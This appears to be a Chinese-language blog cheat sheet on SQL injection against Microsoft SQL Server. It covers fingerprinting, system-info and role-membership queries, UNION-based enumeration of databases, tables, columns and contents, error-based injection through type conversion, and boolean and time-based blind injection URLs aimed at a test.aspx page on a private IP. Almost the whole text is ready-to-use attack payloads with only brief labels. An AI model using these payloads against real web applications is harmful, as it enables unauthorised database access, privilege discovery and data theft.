看看mssql的一些特性:
 mssql
 判断是否为mssql
查表:
1
   | select * from sysobjects;
   | 
 
特有函数:
1
   | WAITFOR DELAY '00:00:05';
   | 
 
mssql的注释:
 查询信息
mssql版本:
主机名:
1 2
   | select @@servername; select srvname from master.sys.sysservers;
   | 
 
hostname:
用户名:
1 2 3 4
   | SELECT USER; SELECT SESSION_USER; SELECT USER_NAME(); SELECT name FROM master.sys.sysusers;
   | 
 
查询权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | IS_SRVROLEMEMBER函数,查服务器权限 - sysadmin - serveradmin - securityadmin - processadmin - setupadmin - bulkadmin - diskadmin - dbcreator - public
  IS_ROLEMEMBER函数,查数据库权限 - db_owner - db_securityadmin - db_accessadmin - db_backupoperator - db_ddladmin - db_datawriter - db_datareader - db_denydatawriter
   | 
 
 sql注入:
1
   | select * from tbl where id = 0 union select 1, 'xxx', 'yyy';
   | 
 
或者使用NULL:
1
   | select * from tbl where id = 0 union select NULL, NULL, 'yyy';
   | 
 
爆库:
1
   | select * from tbl where id =0 union select NULL, NULL, DB_NAME();
   | 
 
查其他库:
1
   | select * from tbl where id =0 union select NULL, NULL, DB_NAME(0);
   | 
 
查所有库:
1
   | select * from tbl where id = 0 union select NULL, NULL, quotename(name) from master.dbo.sysdatabases;
   | 
 
爆表:
1
   | select * from tbl where id =0 union select NULL, NULL, quotename(name) from 数据库名.dbo.sysobjects where xtype = 'u'--
   | 
 
爆列:
1
   | 0 union select NULL, NULL,quotename(name) from 数据库名.dbo.syscolumns where id = (select id from 数据库名.dbo.sysobjects where name = '指定表')--
   | 
 
或者先查表id:
1
   | 0 union select NULL, NULL, id from sysobjects where name = '表名'--
   | 
 
根据表id查内容:
1
   | 0 union select NULL, NULL, quotename(name) from syscolumns where id=上面的id--
   | 
 
爆内容:
1
   | 0 union select quotename(列名) from 表--
   | 
 
 报错注入
由于mssql是强类型数据库,一旦数据类型不匹配就会报错,利用整形和字符之间数据进行运算产生报错:
1
   | 0' or 1=convert(int, @@version);
   | 
 
 盲注
bool:
1
   | http://192.168.20.155/test.aspx?id=1 and ascii(substring((select quotename(name) from master.dbo.sysdatabases),1,1)) < 109
   | 
 
time:
1
   | http://192.168.20.155/test.aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
  | 
 
1
   | http://192.168.20.155/test.aspx?id=1;if (ascii(substring((select quotename(name) from master.dbo.sysdatabases),1,1)))<50 WAITFOR DELAY '0:0:5'--
   | 
 
判断表名:
1
   | id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--
   |